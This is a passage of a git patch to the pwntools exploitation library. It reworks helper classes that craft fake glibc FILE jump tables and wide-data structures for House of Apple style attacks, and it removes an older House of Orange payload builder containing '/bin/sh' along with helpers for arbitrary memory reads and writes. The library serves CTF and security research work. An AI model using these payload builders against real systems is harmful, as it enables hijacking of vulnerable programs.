b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' + """ + if context.bits == 64: + self.flags = b'/bin/sh\x00' + self._IO_read_ptr = 0x61 + self._IO_read_base = io_list_all-0x10 + elif context.bits == 32: + self.flags = b'sh\x00' + self._IO_read_ptr = 0x121 + self._IO_read_base = io_list_all-0x8 + self._IO_write_base = 0 + self._IO_write_ptr = 1 + self.vtable = vtable + return self.__bytes__() + From 88ba6ca197875a400af94b78df109d57a2a09dbf Mon Sep 17 00:00:00 2001 From: RocketDev Date: Sun, 11 Aug 2024 12:08:39 +0800 Subject: [PATCH 02/11] Complete main structure of file-related structs --- pwn/toplevel.py | 1 + pwnlib/file/jumptable.py | 372 +++++++++++++-------------------------- pwnlib/file/widedata.py | 327 +++++++++++----------------------- 3 files changed, 228 insertions(+), 472 deletions(-) diff --git a/pwn/toplevel.py b/pwn/toplevel.py index 884801a29..b95a642a8 100644 --- a/pwn/toplevel.py +++ b/pwn/toplevel.py @@ -31,6 +31,7 @@ from pwnlib.exception import PwnlibException from pwnlib.gdb import attach, debug_assembly, debug_shellcode from pwnlib.filesystem import * +from pwnlib.file import * from pwnlib.flag import * from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split from pwnlib.log import getLogger diff --git a/pwnlib/file/jumptable.py b/pwnlib/file/jumptable.py index f0d6db3fe..532962ea4 100644 --- a/pwnlib/file/jumptable.py +++ b/pwnlib/file/jumptable.py @@ -1,23 +1,13 @@ # -*- coding: utf-8 -*- r""" -File Structure Exploitation +Jump Table in File -struct FILE (_IO_FILE) is the structure for File Streams. -This offers various targets for exploitation on an existing bug in the code. -Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location. +In FILE there is a jump table indicates where functions like ``read`` and ``write`` are. +In some FILE exploitations, forced jump table is needed to hijack the control flow. +For example, in **House of Apple**, one of the paths is ``exit -> fcloseall -> _IO_cleanup -> _IO_flush_all_lockp -> _IO_wstrn_overflow`` -Remembering the offsets of various structure members while faking a FILE structure can be difficult, -so this python class helps you with that. Example- - ->>> context.clear(arch='amd64') ->>> fileStr = FileStructure(null=0xdeadbeef) ->>> fileStr.vtable = 0xcafebabe ->>> payload = bytes(fileStr) ->>> payload -b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' - -Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe +Like FileStructure, this file helps you to create exploitation gracefully. Currently only 'amd64' and 'i386' architectures are supported """ @@ -32,137 +22,121 @@ log = getLogger(__name__) -length=0 -size='size' -name='name' - -variables={ - 0:{name:'__dummy',size:length}, - 1:{name:'__dummy2',size:length}, - 2:{name:'__finish',size:length}, - 3:{name:'__overflow',size:length}, - 4:{name:'__underflow',size:length}, - 5:{name:'__uflow',size:length}, - 6:{name:'__pbackfail',size:length}, - 7:{name:'__xsputn',size:length}, - 8:{name:'__xsgetn',size:length}, - 9:{name:'__seekoff',size:length}, - 10:{name:'__seekpos',size:length}, - 11:{name:'__setbuf',size:length}, - 12:{name:'__sync',size:length}, - 13:{name:'__doallocate',size:length}, - 14:{name:'__read',size:length}, - 15:{name:'__write',size:length}, - 16:{name:'__seek',size:length}, - 17:{name:'__close',size:length}, - 18:{name:'__stat',size:length}, - 19:{name:'__showmanyc',size:length}, - 20:{name:'__imbue',size:length} -} - -del name, size, length - - -def update_var(l): - r""" - Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. - - Arguments: - l(int) - l=8 for 'amd64' architecture and l=4 for 'i386' architecture - - Return Value: - Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set - - Examples: - - >>> update_var(8) - {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8} - """ - var={} - for i in variables: - var[variables[i]['name']]=variables[i]['size'] - for i in var: - if var[i]<=0: - var[i]+=l - if l==4: - var['unknown2']=56 - else: - var['unknown2']=48 - return var @python_2_bytes_compatible -class FileStructure(object): +class JumpTable(object): r""" - Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set. - - Arguments: - null(int) - A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc) + Crafts a Jump Table, with all fields are set to 0. Examples: - FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d + Jump Table with _doallocate is set to 0x7f34df678f7a >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(null=0xdeadbeeef) - >>> fileStr.flags = 0xfbad1807 - >>> fileStr._IO_buf_base = 0xcafebabe - >>> fileStr._IO_buf_end = 0xfacef00d - >>> payload = bytes(fileStr) + >>> jmpTable = JumpTable() + >>> jmpTable._doallocate = 0x7f34df678f7a + >>> payload = bytes(jmpTable) >>> payload - b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x8fg\xdf4\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' - Check the length of the FileStructure + Check the length of the JumpTable - >>> len(fileStr) - 224 + >>> len(jmpTable) + 168 The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell - >>> q=FileStructure(0xdeadbeef) - >>> q - { flags: 0x0 - _IO_read_ptr: 0x0 - _IO_read_end: 0x0 - _IO_read_base: 0x0 - _IO_write_base: 0x0 - _IO_write_ptr: 0x0 - _IO_write_end: 0x0 - _IO_buf_base: 0x0 - _IO_buf_end: 0x0 - _IO_save_base: 0x0 - _IO_backup_base: 0x0 - _IO_save_end: 0x0 - markers: 0x0 - chain: 0x0 - fileno: 0x0 - _flags2: 0x0 - _old_offset: 0xffffffffffffffff - _cur_column: 0x0 - _vtable_offset: 0x0 - _shortbuf: 0x0 - unknown1: 0x0 - _lock: 0xdeadbeef - _offset: 0xffffffffffffffff - _codecvt: 0x0 - _wide_data: 0xdeadbeef - unknown2: 0x0 - vtable: 0x0} + >>> jmpTable + { _dummy: 0x0 + _dummy2: 0x0 + _finish: 0x0 + _overflow: 0x0 + _underflow: 0x0 + _uflow: 0x0 + _pbackfail: 0x0 + _xsputn: 0x0 + _xsgetn: 0x0 + _seekoff: 0x0 + _seekpos: 0x0 + _setbuf: 0x0 + _sync: 0x0 + _doallocate: 0x7f34df678f7a + _read: 0x0 + _write: 0x0 + _seek: 0x0 + _close: 0x0 + _stat: 0x0 + _showmanyc: 0x0 + _imbue: 0x0} """ vars_=[] length={} - def __init__(self, null=0): - self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())] - self.setdefault(null) - self.length = update_var(context.bytes) - self._old_offset = (1 << context.bits) - 1 + __length=0 + size='size' + name='name' + + variables={ + 0:{name:'_dummy',size:__length}, + 1:{name:'_dummy2',size:__length}, + 2:{name:'_finish',size:__length}, + 3:{name:'_overflow',size:__length}, + 4:{name:'_underflow',size:__length}, + 5:{name:'_uflow',size:__length}, + 6:{name:'_pbackfail',size:__length}, + 7:{name:'_xsputn',size:__length}, + 8:{name:'_xsgetn',size:__length}, + 9:{name:'_seekoff',size:__length}, + 10:{name:'_seekpos',size:__length}, + 11:{name:'_setbuf',size:__length}, + 12:{name:'_sync',size:__length}, + 13:{name:'_doallocate',size:__length}, + 14:{name:'_read',size:__length}, + 15:{name:'_write',size:__length}, + 16:{name:'_seek',size:__length}, + 17:{name:'_close',size:__length}, + 18:{name:'_stat',size:__length}, + 19:{name:'_showmanyc',size:__length}, + 20:{name:'_imbue',size:__length} + } + + del name, size, __length + + + def update_var(self, l): + r""" + Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. + + Arguments: + l(int) + l=8 for 'amd64' architecture and l=4 for 'i386' architecture + + Return Value: + Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set + + Examples: + + >>> table = JumpTable() + >>> table.update_var(8) + {'_dummy': 8, '_dummy2': 8, '_finish': 8, '_overflow': 8, '_underflow': 8, '_uflow': 8, '_pbackfail': 8, '_xsputn': 8, '_xsgetn': 8, '_seekoff': 8, '_seekpos': 8, '_setbuf': 8, '_sync': 8, '_doallocate': 8, '_read': 8, '_write': 8, '_seek': 8, '_close': 8, '_stat': 8, '_showmanyc': 8, '_imbue': 8} + """ + var={} + for i in self.variables: + var[self.variables[i]['name']]=self.variables[i]['size'] + for i in var: + if var[i]<=0: + var[i]+=l + return var + + def __init__(self): + self.vars_ = [self.variables[i]['name'] for i in sorted(self.variables.keys())] + self.setdefault() + self.length = self.update_var(context.bytes) def __setattr__(self,item,value): - if item in FileStructure.__dict__ or item in self.vars_: + if item in JumpTable.__dict__ or item in self.vars_: object.__setattr__(self,item,value) else: log.error("Unknown variable %r" % item) @@ -194,15 +168,7 @@ def struntil(self,v): v(string) The name of the field uptil which the payload should be created. - Example: - - Payload for data uptil _IO_buf_end - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.struntil("_IO_buf_end") - >>> payload - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + Usage is just like the same function in FileStructure. Check it out if you need an example. """ if v not in self.vars_: return b'' @@ -216,121 +182,25 @@ def struntil(self,v): break return structure[:-1] - def setdefault(self,null): - self.flags=0 - self._IO_read_ptr=0 - self._IO_read_end=0 - self._IO_read_base=0 - self._IO_write_base=0 - self._IO_write_ptr=0 - self._IO_write_end=0 - self._IO_buf_base=0 - self._IO_buf_end=0 - self._IO_save_base=0 - self._IO_backup_base=0 - self._IO_save_end=0 - self.markers=0 - self.chain=0 - self.fileno=0 - self._flags2=0 - self._old_offset=0 - self._cur_column=0 - self._vtable_offset=0 - self._shortbuf=0 - self.unknown1=0 - self._lock=null - self._offset=0xffffffffffffffff - self._codecvt=0 - self._wide_data=null - self.unknown2=0 - self.vtable=0 - - def write(self,addr=0,size=0): - r""" - Writing data out from arbitrary memory address. - - Arguments: - addr(int) - The address from which data is to be printed to stdout - size(int) - The size, in bytes, of the data to be printed - - Example: - - Payload for writing 100 bytes to stdout from the address 0xcafebabe - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.write(addr=0xcafebabe, size=100) - >>> payload - b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' - """ - self.flags &=~8 - self.flags |=0x800 - self._IO_write_base = addr - self._IO_write_ptr = addr+size - self._IO_read_end = addr - self.fileno = 1 - return self.struntil('fileno') - - def read(self,addr=0,size=0): - r""" - Reading data into arbitrary memory location. - - Arguments: - addr(int) - The address into which data is to be written from stdin - size(int) - The size, in bytes, of the data to be written - - Example: - - Payload for reading 100 bytes from stdin into the address 0xcafebabe - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.read(addr=0xcafebabe, size=100) - >>> payload - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' - """ - self.flags &=~4 - self._IO_read_base = 0 - self._IO_read_ptr = 0 - self._IO_buf_base = addr - self._IO_buf_end = addr+size - self.fileno = 0 - return self.struntil('fileno') - - def orange(self,io_list_all,vtable): - r""" - Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_orange.c), provided you have libc leaks. - - Arguments: - io_list_all(int) - Address of _IO_list_all in libc. - vtable(int) - Address of the fake vtable in memory - - Example: - - Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe - - - >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(0xdeadbeef) - >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe) - >>> payload - b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' - """ - if context.bits == 64: - self.flags = b'/bin/sh\x00' - self._IO_read_ptr = 0x61 - self._IO_read_base = io_list_all-0x10 - elif context.bits == 32: - self.flags = b'sh\x00' - self._IO_read_ptr = 0x121 - self._IO_read_base = io_list_all-0x8 - self._IO_write_base = 0 - self._IO_write_ptr = 1 - self.vtable = vtable - return self.__bytes__() - + def setdefault(self): + self._dummy = 0 + self._dummy2 = 0 + self._finish = 0 + self._overflow = 0 + self._underflow = 0 + self._uflow = 0 + self._pbackfail = 0 + self._xsputn = 0 + self._xsgetn = 0 + self._seekoff = 0 + self._seekpos = 0 + self._setbuf = 0 + self._sync = 0 + self._doallocate = 0 + self._read = 0 + self._write = 0 + self._seek = 0 + self._close = 0 + self._stat = 0 + self._showmanyc = 0 + self._imbue = 0 diff --git a/pwnlib/file/widedata.py b/pwnlib/file/widedata.py index 7a5fce5ab..7e5b6eafb 100644 --- a/pwnlib/file/widedata.py +++ b/pwnlib/file/widedata.py @@ -1,21 +1,22 @@ # -*- coding: utf-8 -*- r""" -File Structure Exploitation +Wide Data Exploitation -struct FILE (_IO_FILE) is the structure for File Streams. -This offers various targets for exploitation on an existing bug in the code. -Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location. +Like FILE, IO_wide_file is a struct which deals ``wchar_t`` data. +Later glibc protects FILE by checking the jump table pointer, so it becomes harder to +exploit normal FILE. In newer exploitations like **House of Apple**, due to jump table +in wide data is not checked, so we can construct a fake WideData to exploit. -Remembering the offsets of various structure members while faking a FILE structure can be difficult, +Remembering the offsets of various structure members while faking a WideData structure can be difficult, so this python class helps you with that. Example- >>> context.clear(arch='amd64') ->>> fileStr = FileStructure(null=0xdeadbeef) ->>> fileStr.vtable = 0xcafebabe ->>> payload = bytes(fileStr) +>>> wide = WideData(0xdeadbeef) +>>> wide._IO_write_base = 0xcafebabe +>>> payload = bytes(wide) >>> payload -b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00' +b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00' Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe @@ -32,94 +33,34 @@ log = getLogger(__name__) -length=0 -size='size' -name='name' - -variables={ - 0:{name:'_IO_read_ptr',size:length}, - 1:{name:'_IO_read_end',size:length}, - 2:{name:'_IO_read_base',size:length}, - 3:{name:'_IO_write_base',size:length}, - 4:{name:'_IO_write_ptr',size:length}, - 5:{name:'_IO_write_end',size:length}, - 6:{name:'_IO_buf_base',size:length}, - 7:{name:'_IO_buf_end',size:length}, - 8:{name:'_IO_save_base',size:length}, - 9:{name:'_IO_backup_base',size:length}, - 10:{name:'_IO_save_end',size:length}, - 11:{name:'_IO_state',size:8}, - 12:{name:'_IO_last_state',size:8}, - 13:{name:'_codecvt',size:4}, # 32b:0x48, 64b:0x70 - 14:{name:'_shortbuf',size:4}, - 15:{name:'_wide_vtable',size:length} -} - -del name, size, length - - -def update_var(l): - r""" - Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields. - - Arguments: - l(int) - l=8 for 'amd64' architecture and l=4 for 'i386' architecture - - Return Value: - Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set - - Examples: - - >>> update_var(8) - {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8} - """ - var={} - for i in variables: - var[variables[i]['name']]=variables[i]['size'] - for i in var: - if var[i]<=0: - var[i]+=l - if l==4: - var['unknown2']=56 - else: - var['unknown2']=48 - return var @python_2_bytes_compatible -class FileStructure(object): +class WideData(object): r""" - Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set. + Crafts a WideData structure, with all fields are set to 0, except _wide_vtable set to specified "null". Arguments: null(int) - A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc) + A pointer to NULL value in memory (_wide_vtable). This pointer can lie in any segment (stack, heap, bss, libc etc) Examples: - FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d + WideData structure with _wide_vtable set to 0x555555553470 >>> context.clear(arch='amd64') - >>> fileStr = FileStructure(null=0xdeadbeeef) - >>> fileStr.flags = 0xfbad1807 - >>> fileStr._IO_buf_base = 0xcafebabe - >>> fileStr._IO_buf_end = 0xfacef00d - >>> payload = bytes(fileStr) - >>> payload - b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + >>> wdata = WideData(0x555555553470) - Check the length of the FileStructure + Check the length of the WideData - >>> len(fileStr) - 224 + >>> len(wdata) + 228 The definition for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell - >>> q=FileStructure(0xdeadbeef) - >>> q - { flags: 0x0 - _IO_read_ptr: 0x0 + >>> wide = WideData(0xdeadbeef) + >>> wide + { _IO_read_ptr: 0x0 _IO_read_end: 0x0 _IO_read_base: 0x0 _IO_write_base: 0x0 @@ -130,34 +71,79 @@ class FileStructure(object): _IO_save_base: 0x0 _IO_backup_base: 0x0 _IO_save_end: 0x0 - markers: 0x0 - chain: 0x0 - fileno: 0x0 - _flags2: 0x0 - _old_offset: 0xffffffffffffffff - _cur_column: 0x0 - _vtable_offset: 0x0 - _shortbuf: 0x0 - unknown1: 0x0 - _lock: 0xdeadbeef - _offset: 0xffffffffffffffff + _IO_state: 0x0 + _IO_last_state: 0x0 _codecvt: 0x0 - _wide_data: 0xdeadbeef - unknown2: 0x0 - vtable: 0x0} + _shortbuf: 0x0 + _wide_vtable: 0xdeadbeef} """ vars_=[] length={} + __length=0 + size='size' + name='name' + + variables={ + 0:{name:'_IO_read_ptr',size:__length}, + 